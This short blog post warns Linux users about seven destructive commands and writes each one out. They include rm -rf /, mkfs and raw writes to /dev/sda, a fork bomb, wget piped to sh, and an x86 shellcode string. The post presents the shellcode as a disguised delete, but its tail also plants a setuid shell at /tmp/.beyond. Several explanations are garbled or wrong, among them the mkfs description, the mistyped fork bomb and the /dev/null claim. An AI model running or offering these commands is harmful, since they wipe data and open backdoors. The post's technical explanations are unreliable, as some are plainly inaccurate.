These Linux Commands Can Be Dangerous For Your Files

The command line is perhaps the most important bit about Linux. It makes you the master of your own computer and lets you manage and customise things the way you want. But, with great power comes great responsibility and there are some commands, which can end up damaging or removing your files

rm -rf /

This command is dangerous. It forcefully and recursively deletes all files in your root directory.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

The user found himself trapped in this hex. It is actually the same command as above, but disguised.

mkfs.ext3 /dev/sda

Files named after the mkfs command will all be reformatted or eiped out from your system.

$:(){:|:&};:

This command freezes your system. It does so by directing it to execute a large number of processes. It is known as 'forkbomb' in Linux circles.

any_command > /dev/sda

This command can result in total loss of all your data. It writes raw data to a block device.

wget http://some_untrusted_source -O- | sh

This is a malicious code that you may receive when you have downloaded something from untrusted sources.

mv /home/yourhomedirectory/* /dev/null

This command moves all home directory files to a sort of black hole in your system. Basically, the files get moved to a place, which doesn't exist and you never get to see them again.

These are perhaps the top seven of the most dangerous Linux commands. There are others as well, but these will be the ones that you may usually come across. Now you're aware though, so keep coding.

Comments

Popular posts from this blog

Reduce TIME_WAIT Socket Connections